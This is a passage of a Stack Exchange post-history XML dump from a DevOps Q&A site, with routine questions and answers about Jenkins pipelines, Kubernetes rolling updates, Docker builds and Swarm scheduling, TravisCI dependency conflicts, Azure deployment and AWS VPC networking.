:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GD9Hy.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41298" PostHistoryTypeId="2" PostId="13415" RevisionGUID="f46246a7-47d6-47e3-916e-cbe219717e49" CreationDate="2021-02-23T17:53:53.637" UserId="4115" Text="&gt; Is there an 'UpstreamCause' equivalent to the example for 'UserIdCause' that would allow me to specify which upstream cause should trigger a specific stage?&#xD;&#xA;&#xD;&#xA;Unfortunately, not in native Declarative syntax.&#xD;&#xA;&#xD;&#xA;As you can see [from the source code](https://github.com/jenkinsci/pipeline-model-definition-plugin/blob/c07035710d1996ff570f1cdb86d6a20d8a2702f7/pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipeline/modeldefinition/Utils.groovy#L277-L291), UserIdCause is special-cased, but no other cause is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    static boolean shouldRunBeAllowed(Cause causeClass, String cause, String detail){&#xD;&#xA;        if( causeClass instanceof Cause.UserIdCause &amp;&amp; Cause.UserIdCause.simpleName == cause){&#xD;&#xA;            return detail == null || causeClass.userId == detail&#xD;&#xA;        }else {&#xD;&#xA;            return causeClass.class.simpleName.matches(&quot;(?i)\\.*${cause}.*&quot;)&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So if you want to trigger conditionally based on which job triggered the build, you'll need to use Scripted syntax. For instance (I haven't tested this so no guarantees it will work without debugging):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;script {&#xD;&#xA;  def myJob = 'put-your-job-name-here'&#xD;&#xA;  def causes = currentBuild.rawBuild.getCauses()&#xD;&#xA;  def triggeredByMyJob = causes.any { cause-&gt;&#xD;&#xA;    cause.class.toString().contains(&quot;UpstreamCause&quot;)) &amp;&amp; cause.upstreamProject == myJob&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  if (triggeredByMyJob) {&#xD;&#xA;    // put steps to execute when triggered by your job here&#xD;&#xA;  } else {&#xD;&#xA;    // put steps to execute when NOT triggered by your job here&#xD;&#xA;  }&#xD;&#xA;} &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, there's potentially a much easier way, although it's not strictly what you asked for:  Give your downstream job a boolean parameter, for the sake of example let's call it `runMyStages`, and use a `when` clause to conditionally execute stages based on whether `runMyStages` is true or false.  Then in your upstream jobs, you can set that parameter in your build step: `build(job: 'downstream-job-name', parameters: [booleanParam('runMyStages', false)])`." ContentLicense="CC BY-SA 4.0" />
  <row Id="41299" PostHistoryTypeId="2" PostId="13416" RevisionGUID="8112060e-5dd7-45e2-81de-0e34c9e22d99" CreationDate="2021-02-23T17:56:42.470" UserId="26253" Text="I've inherited an app with K8s services with the following config&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Nvt7B.png&#xD;&#xA;For most of these light-weight services, we run a single instance of a pod on GCP.  We're expanding into blue-green deploys for some services, but the majority are still run this way.  &#xD;&#xA;&#xD;&#xA;When we update the GCR image to a new version, the service becomes temporarily unavailable (maybe 10-30 seconds).  I'm assuming this is because K8s is killing the old pod while it brings up the new pod.  Is there anyway to configure K8s to actually bring up a new pod, direct new traffic to it, and only then shutdown the old pod?  This would seemingly allow for a deployment with no downtime, and not rely on having two pods running all the time (saving cost).  All docs I can find typically start with N pods so they don't have this issue...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41300" PostHistoryTypeId="1" PostId="13416" RevisionGUID="8112060e-5dd7-45e2-81de-0e34c9e22d99" CreationDate="2021-02-23T17:56:42.470" UserId="26253" Text="Can we do zero-downtime kubernetes deployment with a single pod?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41301" PostHistoryTypeId="3" PostId="13416" RevisionGUID="8112060e-5dd7-45e2-81de-0e34c9e22d99" CreationDate="2021-02-23T17:56:42.470" UserId="26253" Text="&lt;kubernetes&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41302" PostHistoryTypeId="2" PostId="13417" RevisionGUID="b1ecb5a0-387d-4dab-a26d-e2a7e26b8979" CreationDate="2021-02-23T18:06:46.813" UserId="6162" Text="&gt;Is there anyway to configure K8s to actually bring up a new pod, direct new traffic to it, and only then shutdown the old pod?&#xD;&#xA;&#xD;&#xA;This is the default behavior. [MaxSurge][1] is number of _additional_ pods that runs during upgrade.&#xD;&#xA;&#xD;&#xA;What you also have to check is how the load balancer is handling traffic, does it have capability to detect that you have deployed a new Pod, e.g. is it Kubernetes aware? See [Container native load balancing on Google Cloud][2], it looks like you should have a `ReadinessProbe` on your `Deployment`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#max-surge&#xD;&#xA;  [2]: https://cloud.google.com/kubernetes-engine/docs/how-to/container-native-load-balancing" ContentLicense="CC BY-SA 4.0" />
  <row Id="41304" PostHistoryTypeId="2" PostId="13418" RevisionGUID="d4310c59-0c92-4a46-b448-b385164c2844" CreationDate="2021-02-23T19:09:23.580" UserId="23745" Text="I'm trying to use Jenkins Kubernetes CLI plugin from https://plugins.jenkins.io/kubernetes-cli/ to let deploy artifacts from Jenkins to GKE cluster.&#xD;&#xA;&#xD;&#xA;## Expected Behavior&#xD;&#xA;&#xD;&#xA;Get cluster info on `kubectl cluster-info`&#xD;&#xA;&#xD;&#xA;## Actual Behavior&#xD;&#xA;&#xD;&#xA;Error out as `Unable to connect to the server: x509: certificate signed by unknown authority`&#xD;&#xA;&#xD;&#xA;## Steps to Reproduce the Problem&#xD;&#xA;&#xD;&#xA;Output of generated `./kube/config`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ kubectl config view&#xD;&#xA;apiVersion: v1&#xD;&#xA;clusters:&#xD;&#xA;- cluster:&#xD;&#xA;    certificate-authority-data: DATA+OMITTED&#xD;&#xA;    server: https://xxx.xxx.xxx.yyy&#xD;&#xA;  name: my-cluster&#xD;&#xA;contexts:&#xD;&#xA;- context:&#xD;&#xA;    cluster: my-cluster&#xD;&#xA;    user: jenkins-pipeline&#xD;&#xA;  name: my-cluster-jenkins&#xD;&#xA;current-context: my-cluster-jenkins&#xD;&#xA;kind: Config&#xD;&#xA;preferences: {}&#xD;&#xA;users:&#xD;&#xA;- name: jenkins-pipeline&#xD;&#xA;  user:&#xD;&#xA;    username: jenkins-pipelin&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I run from a command line I need to do &#xD;&#xA;&#xD;&#xA;`export GOOGLE_APPLICATION_CREDENTIALS=path/to/key.json`&#xD;&#xA;&#xD;&#xA;Where that part goes in that plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41305" PostHistoryTypeId="1" PostId="13418" RevisionGUID="d4310c59-0c92-4a46-b448-b385164c2844" CreationDate="2021-02-23T19:09:23.580" UserId="23745" Text="Jenkins and Kubernetes CLI plugin and GKE" ContentLicense="CC BY-SA 4.0" />
  <row Id="41306" PostHistoryTypeId="3" PostId="13418" RevisionGUID="d4310c59-0c92-4a46-b448-b385164c2844" CreationDate="2021-02-23T19:09:23.580" UserId="23745" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-plugins&gt;&lt;google-kubernetes-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41307" PostHistoryTypeId="2" PostId="13419" RevisionGUID="83fd7bd4-c3cd-451d-a461-e58494b941b8" CreationDate="2021-02-23T23:07:31.117" UserId="26256" Text="&#xD;&#xA;    Running mktexlsr /var/lib/texmf ... done.&#xD;&#xA;    Building format(s) --all.&#xD;&#xA;            This may take some time... done.&#xD;&#xA;    build.sh: line 81: -: No such file or directory&#xD;&#xA;    The command '/bin/sh -c bash build.sh' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can view the code here.&#xD;&#xA;&#xD;&#xA;[https://github.com/austinsonger/GreenOpenVAS][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/austinsonger/GreenOpenVAS" ContentLicense="CC BY-SA 4.0" />
  <row Id="41308" PostHistoryTypeId="1" PostId="13419" RevisionGUID="83fd7bd4-c3cd-451d-a461-e58494b941b8" CreationDate="2021-02-23T23:07:31.117" UserId="26256" Text="Docker Build Ending Up `returned a non-zero code: 1`" ContentLicense="CC BY-SA 4.0" />
  <row Id="41309" PostHistoryTypeId="3" PostId="13419" RevisionGUID="83fd7bd4-c3cd-451d-a461-e58494b941b8" CreationDate="2021-02-23T23:07:31.117" UserId="26256" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41310" PostHistoryTypeId="2" PostId="13420" RevisionGUID="540e9b6c-9de8-46a1-878e-f8963bceb829" CreationDate="2021-02-24T01:03:41.397" UserId="24678" Text="Put it inside the sh?&#xD;&#xA;&#xD;&#xA;    withKubeConfig(...) {&#xD;&#xA;      sh “””&#xD;&#xA;        export ...&#xD;&#xA;        kubectl ...&#xD;&#xA;      “””&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41311" PostHistoryTypeId="2" PostId="13421" RevisionGUID="1b839e37-5f94-42de-8f57-985511f16f5e" CreationDate="2021-02-24T01:51:01.927" UserId="24678" Text="Yeah, this is what I had in mind all along. [Blue/Green Deployments on Kubernetes][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ianlewis.org/en/bluegreen-deployments-kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41312" PostHistoryTypeId="50" PostId="13213" RevisionGUID="c9a3aa01-0feb-4f97-a3ac-19b2704abd30" CreationDate="2021-02-24T09:03:50.403" UserId="-1" />
  <row Id="41318" PostHistoryTypeId="2" PostId="13424" RevisionGUID="9bd443bb-caa6-463e-adae-08a49dd741d5" CreationDate="2021-02-24T14:30:04.830" UserId="26269" Text="I am having some troubles finding a better model for my CI/CD cycle.&#xD;&#xA;&#xD;&#xA;This is mainly gitflow issue.&#xD;&#xA;&#xD;&#xA;My current model : We have 2 bitbucket branches : master and develop.&#xD;&#xA;&#xD;&#xA;Both are linked via webhooks to jenkins to be deployed to prod. and dev. servers.&#xD;&#xA;&#xD;&#xA;QA team for testing features and releases on dev. server.&#xD;&#xA;&#xD;&#xA;Team of developers for both frontend and for backend. With lots of troubles.&#xD;&#xA;&#xD;&#xA;The problem : Team manager wants to be able to have better control over accepted/rejected features. Say : developer1 commited a feature to develop branch, developer2 added a hotfix to develop, we want QA team to easily test them both separately, and then testing both together with the least hussle possible. And afterwards easily select what commit stays and moved to master branch.&#xD;&#xA;&#xD;&#xA;As I said, this is mainly gitflow issue.&#xD;&#xA;&#xD;&#xA;Any suggestions ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41319" PostHistoryTypeId="1" PostId="13424" RevisionGUID="9bd443bb-caa6-463e-adae-08a49dd741d5" CreationDate="2021-02-24T14:30:04.830" UserId="26269" Text="a better model for my CI/CD cycle" ContentLicense="CC BY-SA 4.0" />
  <row Id="41320" PostHistoryTypeId="3" PostId="13424" RevisionGUID="9bd443bb-caa6-463e-adae-08a49dd741d5" CreationDate="2021-02-24T14:30:04.830" UserId="26269" Text="&lt;git&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41321" PostHistoryTypeId="5" PostId="13331" RevisionGUID="0c568ed7-75d5-4202-b693-8edf5bca10ac" CreationDate="2021-02-24T15:14:00.050" UserId="26006" Comment="deleted 180 characters in body" Text="There are two main reasons for this issue to happen:&#xD;&#xA;&#xD;&#xA;1. Your dns are not exposed.&#xD;&#xA;2. Your code is redirecting to a https address (and since you are working in your local machine, most likely you don't have a secure certificate)&#xD;&#xA;&#xD;&#xA;CASE 1 - Exposing DNS&#xD;&#xA;-------------------------------------------&#xD;&#xA;&#xD;&#xA;On linux you can solve it like:&#xD;&#xA;&#xD;&#xA;* minikube ip&#xD;&#xA;* vim /etc/hosts&#xD;&#xA;* Add the ip from the first step and the hostname you want to expose, and save the file.&#xD;&#xA;&#xD;&#xA;    ```&#xD;&#xA;    # For example&#xD;&#xA;    192.168.39.70   elasticsearch-es-http&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;No need to restart any service, it should work just like that. Add all the hostnames you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;CASE 2 - HTTPS on minikube&#xD;&#xA;-------------------------------------&#xD;&#xA;&#xD;&#xA;If your problem is 2, then you have to find a way for you application to not use HTTPS while you are using minikube." ContentLicense="CC BY-SA 4.0" />
  <row Id="41322" PostHistoryTypeId="13" PostId="13331" RevisionGUID="df5cbcf7-0746-4523-aa22-a7393c55e364" CreationDate="2021-02-24T15:14:04.647" UserId="26006" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:26006,&quot;DisplayName&quot;:&quot;Adrian Lopez&quot;}]}" />
  <row Id="41323" PostHistoryTypeId="2" PostId="13425" RevisionGUID="4a84ec87-3677-43aa-a746-af5ef9e8d5d6" CreationDate="2021-02-24T15:15:47.770" UserId="19963" Text="Key issue with this approach is that applying commits selectively is extremely problematic. Basically, how do you know whether commits are dependent or independent? &#xD;&#xA;&#xD;&#xA;As you correctly mentioned, this is one of the issues with Gitflow itself, so the solution is shifting methodologies. Preferred way today is Trunk-Based Development (TBD) - https://trunkbaseddevelopment.com/ - refer to &quot;Accelerate&quot; book for evidence. &#xD;&#xA;&#xD;&#xA;Under TBD you can choose a style of work where you have short-lived feature branches. Once a feature is complete, pull request is created and QA can test this feature selectively under such short-lived branch and then approve the merge to main.&#xD;&#xA;&#xD;&#xA;This way you know that your branches are independent (unlike commits in Gitflow) and approve features selectively. Note, that you can achieve something similar in Gitflow with multiple different branches, but this gets extremely messy there." ContentLicense="CC BY-SA 4.0" />
  <row Id="41324" PostHistoryTypeId="5" PostId="13421" RevisionGUID="2d99b3ad-ffe7-4984-8db9-6a02c1b2d6cd" CreationDate="2021-02-24T16:03:33.500" UserId="24678" Comment="added 434 characters in body" Text="Yeah, this is what I had in mind all along. [Blue/Green Deployments on Kubernetes][1]. So in short, Helm as it stands, is not for me since it doesn't have the concept of a blue/green deployment. With Helm, when you install a new package, the Deployment gets updated with the new Pod versions, but the Service is still pointing to the Deployment. Helm doesn't have the concept of having 2 Deployments, a blue and a green, and doesn't have the concept of switching between the two. Kubernetes itself supports this though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ianlewis.org/en/bluegreen-deployments-kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41325" PostHistoryTypeId="2" PostId="13426" RevisionGUID="afa773cc-084e-4c39-9028-462da9f48a5e" CreationDate="2021-02-24T16:07:01.240" UserId="739" Text="[Line 81 of build.sh](https://github.com/austinsonger/vulnscout/blob/main/build.sh#L81) is trying to run python3.  But the problem is more fundamental because you aren't getting any of the earlier `echo`s or `apt-get` command's output.  I would try:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;chmod +x build.sh&#xD;&#xA;./build.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;to let the sh-bang line do its job." ContentLicense="CC BY-SA 4.0" />
  <row Id="41326" PostHistoryTypeId="5" PostId="13421" RevisionGUID="5e7ccbce-4137-4855-a739-db0657b39b9a" CreationDate="2021-02-24T16:12:41.187" UserId="24678" Comment="added 192 characters in body" Text="Yeah, this is what I had in mind all along. [Blue/Green Deployments on Kubernetes][1]. So in short, Helm as it stands, is **not** for me since it doesn't have the concept of a blue/green deployment. With Helm, when you install a new package, the Deployment gets updated with the new Pod versions, but the Service is still pointing to the Deployment. Helm doesn't have the concept of having 2 Deployments, a blue and a green, and doesn't have the concept of switching between the two. Kubernetes itself supports this though.&#xD;&#xA;&#xD;&#xA;Now maybe Helm can work if you create your Helm charts **without** the Service, and run a script to update the Service to switch to the new Deployment later in your installation process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ianlewis.org/en/bluegreen-deployments-kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41327" PostHistoryTypeId="50" PostId="13219" RevisionGUID="f6befcdc-be54-4ccf-bb76-4caa979ad2aa" CreationDate="2021-02-24T19:02:10.210" UserId="-1" />
  <row Id="41328" PostHistoryTypeId="50" PostId="12996" RevisionGUID="96d8eac7-30b7-4c9e-b3bc-5bbe000343b0" CreationDate="2021-02-24T20:04:35.507" UserId="-1" />
  <row Id="41330" PostHistoryTypeId="2" PostId="13428" RevisionGUID="62359c70-3948-4f0b-8c20-e110174b5846" CreationDate="2021-02-24T20:56:23.127" UserId="26277" Text="I am very much a TravisCI beginner.  That said, I maintain python package [mplfinance](https://pypi.org/project/mplfinance/) and we run a TravisCI test suite for every Pull Request.  We run the same tests for py36, py37 and py38.   Beginning in January 2021, the Py37 tests began failing consistently with the error:&#xD;&#xA;```&#xD;&#xA;ERROR: pandas 1.2.0 has requirement numpy&gt;=1.16.5, but you'll have numpy 1.16.4 which is incompatible.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here's the thing:  Some of the tests run using pytest under tox, and those tests are fine.  But we also run a test from a shell script.  In that test, for each PR, the script checks out and installs the package (using **`pip3 install .`**) first from the PR itself, and then from the version currently in the repository, and does some comparison of the two versions.  This works fine for py36 and py38, and before January worked fine also for Py37.  Here is an example of it working fine for Py37 _prior_ to January:&#xD;&#xA;&#xD;&#xA;https://travis-ci.org/github/matplotlib/mplfinance/jobs/751128518&#xD;&#xA;&#xD;&#xA;In the above link you can see the following&#xD;&#xA;```&#xD;&#xA;Collecting pandas&#xD;&#xA;  Using cached pandas-1.1.5-cp37-cp37m-manylinux1_x86_64.whl (9.5 MB)&#xD;&#xA;Collecting python-dateutil&gt;=2.1&#xD;&#xA;  Using cached python_dateutil-2.8.1-py2.py3-none-any.whl (227 kB)&#xD;&#xA;Collecting cycler&gt;=0.10&#xD;&#xA;  Using cached cycler-0.10.0-py2.py3-none-any.whl (6.5 kB)&#xD;&#xA;Requirement already satisfied: numpy&gt;=1.15 in /home/travis/virtualenv/python3.7.1/lib/python3.7/site-packages (from matplotlib-&gt;mplfinance==0.12.7a4) (1.16.4)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Notice that in installs pandas 1.1.5 and numpy 1.16.4&#xD;&#xA;&#xD;&#xA;Beginning in January this is what I see:&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;https://travis-ci.org/github/matplotlib/mplfinance/jobs/753110408&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Collecting pandas&#xD;&#xA;  Using cached pandas-1.2.0-cp37-cp37m-manylinux1_x86_64.whl (9.9 MB)&#xD;&#xA;Collecting kiwisolver&gt;=1.0.1&#xD;&#xA;  Using cached kiwisolver-1.3.1-cp37-cp37m-manylinux1_x86_64.whl (1.1 MB)&#xD;&#xA;Collecting pillow&gt;=6.2.0&#xD;&#xA;  Using cached Pillow-8.1.0-cp37-cp37m-manylinux1_x86_64.whl (2.2 MB)&#xD;&#xA;Requirement already satisfied: numpy&gt;=1.15 in /home/travis/virtualenv/python3.7.1/lib/python3.7/site-packages (from matplotlib-&gt;mplfinance==0.12.7a5) (1.16.4)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now it is installing pandas **1.2.0**, and initially it appears satisfied with numpy 1.16.4, but then later in the file I see &#xD;&#xA;```&#xD;&#xA;ERROR: pandas 1.2.0 has requirement numpy&gt;=1.16.5, but you'll have numpy 1.16.4 which is incompatible.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(Oddly, further up in the file, it appears that tox is installing numpy==1.19.4 and pandas==1.1.5 ??)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Does anyone have any ideas what I can do about this?&#xD;&#xA;&#xD;&#xA;Much appreciated.  Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="41331" PostHistoryTypeId="1" PostId="13428" RevisionGUID="62359c70-3948-4f0b-8c20-e110174b5846" CreationDate="2021-02-24T20:56:23.127" UserId="26277" Text="TravisCI: Pandas version advanced (Jan 2021) numpy is now incompatible" ContentLicense="CC BY-SA 4.0" />
  <row Id="41332" PostHistoryTypeId="3" PostId="13428" RevisionGUID="62359c70-3948-4f0b-8c20-e110174b5846" CreationDate="2021-02-24T20:56:23.127" UserId="26277" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41333" PostHistoryTypeId="2" PostId="13429" RevisionGUID="e673cb0e-b9d4-4d1c-baef-11accb8e24d4" CreationDate="2021-02-24T21:48:19.297" UserId="7646" Text="In general: No you can't. At least not on the Docker level.&#xD;&#xA;&#xD;&#xA;You can maybe code your app in a way that it monitors such metrics and adjusts itself but Docker isn't able to.&#xD;&#xA;&#xD;&#xA;What Docker CAN do is limit the app to 50% and kill it if it uses more than that by utilizing resource limits:&#xD;&#xA;&#xD;&#xA;[docs.docker.com - containers/resource_constraints][1]&#xD;&#xA;&#xD;&#xA;[docs.docker.com - docker-compose resource limits][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/config/containers/resource_constraints/&#xD;&#xA;  [2]: https://docs.docker.com/compose/compose-file/compose-file-v3/#resources" ContentLicense="CC BY-SA 4.0" />
  <row Id="41334" PostHistoryTypeId="2" PostId="13430" RevisionGUID="30b57cd6-56fa-47b6-9aa4-4ad8371b6bd1" CreationDate="2021-02-24T21:59:51.520" UserId="7646" Text="From [docs.docker.com - force-the-swarm-to-rebalance][1] I can see that Docker Swarm &quot;tasks are given to less busy nodes&quot; to reach eventual balance.&#xD;&#xA;&#xD;&#xA;I'm trying to find more info on what &quot;busy&quot; means exactly. For us, running a lot of Java microservices, our primary resource is memory. We are constantly running into OOM killers on the hosts as Swarm keeps scheduling containers to nodes that are already very low on RAM.&#xD;&#xA;&#xD;&#xA;I have a 7 nodes swarm in front of me right now with one node's `top` stating:&#xD;&#xA;&#xD;&#xA;    top - 22:55:04 up 234 days,  8:48,  5 users,  load average: 0.53, 0.68, 1.09&#xD;&#xA;    ...&#xD;&#xA;    KiB Mem : 18330008 total,   425268 free, 13718032 used,  4186708 buff/cache&#xD;&#xA;    KiB Swap:   511996 total,   389836 free,   122160 used.  4225292 avail Mem&#xD;&#xA;&#xD;&#xA;This is the lowest in free/available memory in the entire swarm. Yet this node ALWAYS gets the task I'm scheduling. Other nodes are much much more relaxed:&#xD;&#xA;&#xD;&#xA;    top - 22:56:28 up  5:49,  2 users,  load average: 0.38, 0.61, 0.79&#xD;&#xA;    ...&#xD;&#xA;    KiB Mem : 18329940 total,  4899940 free,  7877052 used,  5552948 buff/cache&#xD;&#xA;    KiB Swap:   511996 total,   511996 free,        0 used. 10098352 avail Mem&#xD;&#xA;&#xD;&#xA;Yet they will never get the task. None of the other nodes will. Only the above mentioned node will, which has by far the lowest available memory.&#xD;&#xA;&#xD;&#xA;So what criteria does Swarm use to determine the &quot;business&quot; of a node to determine if a task should be scheduled on it? Available memory clearly does not seem to be a metric in the decision.&#xD;&#xA;&#xD;&#xA;Sidenote: I am aware that I can assign resource limits to my containers to prevent the node from being over-scheduled. This is what I am doing right now and I assume it will fix my problem. But I want to know about Swarm's inner workings to determine where to schedule and where not to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/admin_guide/#force-the-swarm-to-rebalance" ContentLicense="CC BY-SA 4.0" />
  <row Id="41335" PostHistoryTypeId="1" PostId="13430" RevisionGUID="30b57cd6-56fa-47b6-9aa4-4ad8371b6bd1" CreationDate="2021-02-24T21:59:51.520" UserId="7646" Text="How does Docker Swarm balance tasks?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41336" PostHistoryTypeId="3" PostId="13430" RevisionGUID="30b57cd6-56fa-47b6-9aa4-4ad8371b6bd1" CreationDate="2021-02-24T21:59:51.520" UserId="7646" Text="&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41337" PostHistoryTypeId="50" PostId="11720" RevisionGUID="b1bc128f-8263-4d6c-a15f-ca1f38d2fe54" CreationDate="2021-02-25T00:03:25.310" UserId="-1" />
  <row Id="41341" PostHistoryTypeId="2" PostId="13431" RevisionGUID="49b833cf-0f69-48dc-86ac-7a5b9ad09011" CreationDate="2021-02-25T12:06:36.837" UserId="12890" Text="I'd like to provide stats about a website uptime to general public. Is it safe to run Prometheus with default settings on a web server that is accessible from the internet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41342" PostHistoryTypeId="1" PostId="13431" RevisionGUID="49b833cf-0f69-48dc-86ac-7a5b9ad09011" CreationDate="2021-02-25T12:06:36.837" UserId="12890" Text="Is it safe to run Prometheus on public server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41343" PostHistoryTypeId="3" PostId="13431" RevisionGUID="49b833cf-0f69-48dc-86ac-7a5b9ad09011" CreationDate="2021-02-25T12:06:36.837" UserId="12890" Text="&lt;monitoring&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41348" PostHistoryTypeId="2" PostId="13434" RevisionGUID="daaf9a79-cd55-417e-b3c4-3bba653b7a08" CreationDate="2021-02-25T14:15:30.473" UserId="26015" Text="We found out what was wrong. It was not an Azure issue. The problem was that we were deploying a bad ZIP file. The ZIP file was missing *web.config*, which meant that the web application could not start up. &#xD;&#xA;&#xD;&#xA;We were zipping our published web application by having this in the CSPROJ file:&#xD;&#xA;&#xD;&#xA;    &lt;Target Name=&quot;ZipOutputPath&quot; AfterTargets=&quot;Publish&quot;&gt;&#xD;&#xA;      &lt;ZipDirectory SourceDirectory=&quot;$(OutputPath)\publish&quot; DestinationFile=&quot;$(MSBuildProjectDirectory)\kmswebapp.zip&quot; Overwrite=&quot;true&quot; /&gt;&#xD;&#xA;    &lt;/Target&gt;&#xD;&#xA;    &#xD;&#xA;This turned out not to work because the compiler does things in a different order than we expected. At the time when it generated the ZIP file, *web.config* was not generated yet, so *web.config* never got packed into the ZIP file. Hence Azure could not start the application.&#xD;&#xA;&#xD;&#xA;When we deployed from our local machines, it worked because we didn't clean the publish directory before each run, so there would be a *web.config* left over from the previous run, and this old (but unchanged) *web.config* would get packed into the ZIP file and deployed to Azure, so Azure would know how to start the application.&#xD;&#xA;&#xD;&#xA;We solved it by removing the above from our CSPROJ file and doing (roughly) this in our Jenkinsfile: &#xD;&#xA;&#xD;&#xA;    powershell &quot;dotnet publish ./src/webapi/WebAPI.csproj&quot;&#xD;&#xA;    powershell &quot;if (!(Test-Path('${publishDirectoryPath}/web.config'))){throw 'We need web.config to exist in the publish directory'}&quot;&#xD;&#xA;    powershell &quot;Compress-Archive -Path '${publishDirectoryPath}/*' -DestinationPath './src/webapi/kmswebapp.zip' -Force&quot;&#xD;&#xA;&#xD;&#xA;This generates a proper ZIP file including *web.config*, and Azure can now start our application so it can respond properly to requests." ContentLicense="CC BY-SA 4.0" />
  <row Id="41349" PostHistoryTypeId="5" PostId="13416" RevisionGUID="c1339c59-23fd-4277-bd25-3056b799a815" CreationDate="2021-02-25T15:05:31.440" UserId="26253" Comment="added 54 characters in body" Text="I've inherited an app with K8s services with the following config&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;spec:&#xD;&#xA;  ...&#xD;&#xA;  replicas: 1&#xD;&#xA;  strategy:&#xD;&#xA;    rollingUpdate:&#xD;&#xA;      maxSurge: 1&#xD;&#xA;      maxUnavailable: 1&#xD;&#xA;    type: RollingUpdate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For most of these light-weight services, we run a single instance of a pod on GCP.  We're expanding into blue-green deploys for some services, but the majority are still run this way.  &#xD;&#xA;&#xD;&#xA;When we update the GCR image to a new version, the service becomes temporarily unavailable (maybe 10-30 seconds).  I'm assuming this is because K8s is killing the old pod while it brings up the new pod.  Is there anyway to configure K8s to actually bring up a new pod, direct new traffic to it, and only then shutdown the old pod?  This would seemingly allow for a deployment with no downtime, and not rely on having two pods running all the time (saving cost).  All docs I can find typically start with N pods so they don't have this issue...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41350" PostHistoryTypeId="2" PostId="13435" RevisionGUID="25ae0929-5c37-400c-becb-f85ee69a8248" CreationDate="2021-02-25T15:32:18.787" UserId="26289" Text="Hi I'm struggling to understand of public vs private communication in Amazon VPC.&#xD;&#xA;&#xD;&#xA;what if EC2 instance is not assigned public ipv4 in public subnet, can it get traffic/data from any other EC2 instances which is assigned public ipv4 in the same VPC, but in different subnets, Availability Zone by using private communication? &#xD;&#xA;&#xD;&#xA;Could somebody can guide me to what differentiation of communication in public vs private in this situation?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="41351" PostHistoryTypeId="1" PostId="13435" RevisionGUID="25ae0929-5c37-400c-becb-f85ee69a8248" CreationDate="2021-02-25T15:32:18.787" UserId="26289" Text="What if EC2 in public subnet is not assigned public IPv4" ContentLicense="CC BY-SA 4.0" />
  <row Id="41352" PostHistoryTypeId="3" PostId="13435" RevisionGUID="25ae0929-5c37-400c-becb-f85ee69a8248" CreationDate="2021-02-25T15:32:18.787" UserId="26289" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
